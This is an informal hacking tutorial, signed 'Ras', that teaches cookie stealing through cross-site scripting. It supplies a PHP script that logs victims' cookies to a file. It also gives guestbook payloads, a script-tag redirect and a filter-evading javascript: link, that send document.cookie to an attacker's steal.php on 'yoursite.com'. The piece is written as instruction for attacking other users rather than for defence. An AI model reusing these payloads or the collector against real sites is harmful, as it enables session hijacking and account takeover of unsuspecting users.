Cookie Stealing

[Ras]

Cookiestealing is one of the most fundamental aspects of XSS (cross site scripting).

Why is the cookie so important? Well, first you should see exactly what sort of

information is stored in a cookie. Go to a website that requires a login, and after

logging in erase everything in your address bar and type this line of code:

javascript:alert(document.cookie)

After you press enter, you should see a pop-up window with some information in it

(that is, if this site uses cookies). This is the data that is stored in your cookie. Here's an

example of what might be in your cookie:

username=CyberPhreak; password=ilikepie

This is, of course, a very insecure cookie. If any sort of vulnerability was found that

allowed for someone to view other people's cookies, every user account is possibly

compromised. You'll be hard-pressed to find a site with cookies like these. However, it

is very common (unfortunately) to find sites with hashes of passwords within the cookie.

The reason that this is unfortunate is because hashes can be cracked, and oftentimes

just knowing the hash is enough.

Now you know why cookies are important; they usually have important information about the

user in them. But how would we go about getting or changing other users' cookies? This is

the process of cookiestealing.

Cookiestealing is a two-part process. You need to have a script to accept the cookie, and

you need to have a way of sending the cookie to your script. Writing the script to accept

the cookie is the easy part, whereas finding a way to send it to your script is the hard

part. I'll show you an example of a pHp script that accepts cookies:

<?php
$cookie = $_GET['cookie'];
$log = fopen("log.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

And there you have it, a simple cookiestealer. The way this script works is that it accepts

the cookie when it is passed as a variable, in this case 'cookie' in the URL, and then

saves it to a file called 'log.txt'. For example:

http://yoursite.com/steal.php?cookie=

steal.php is the filename of the script we just wrote, ? lets the script know that we are

going to pass some variables to it, and after that we can set cookie equal to whatever

we want, but what we want to do is set cookie equal to the cookie from the site. This

is the second and harder part of the cookiestealer.

Most websites apply some sort of filter to input, so that you can't directly insert your

own code. XSS deals with finding exploits within filters, allowing you to put your own

code into a website. This might sound difficult, and in most cases it's not easy, but

it can be very simple.

Any website that allows you to post text potentially allows you to insert your own code

into the website. Some examples of these types of sites are forums, guestbooks, any site

with a "member profile", etc. And any of these sites that have users who log in also

probably use cookies. Now you know what sort of sites might be vulnerable to

cookiestealing.

Let's assume that we have a website that someone made. This website has user login

capability as well as a guestbook. And let's also assume that this website doesn't have

any kind of filtering on what can be put into the guestbook. This means that you can

put HTML and Javascript directly into your post in the guestbook. I'll give you an

example of some code that we could put into a guestbook post that would send the user's

cookie to out script:

<script>
document.location = 'http://yoursite.com/steal.php?cookie=' + document.cookie;
</script>

Now whenever someone views the page that you posted this on, they will be redirected to

your script with their cookie from this site in the URL. If you were to look at log.txt

now, you'd see the cookies of whoever looked at that page.

But cookiestealing is never that easy. Let's assume now that the administrator of this

site got smart, and decided to filter out script tags. Now you code doesn't work, so

we have to try and evade the filter. In this instance, it's easy enough:

<a href="javascript:void(document.location='http://yoursite.com/steal.php?cookie='+
document.cookie)">Click Me</a>

In this case, when the user clicks on the link they will be sent to your stealer with their

cookie. Cookiestealing, as are all XSS attacks, is mostly about figuring out how to get

around filters.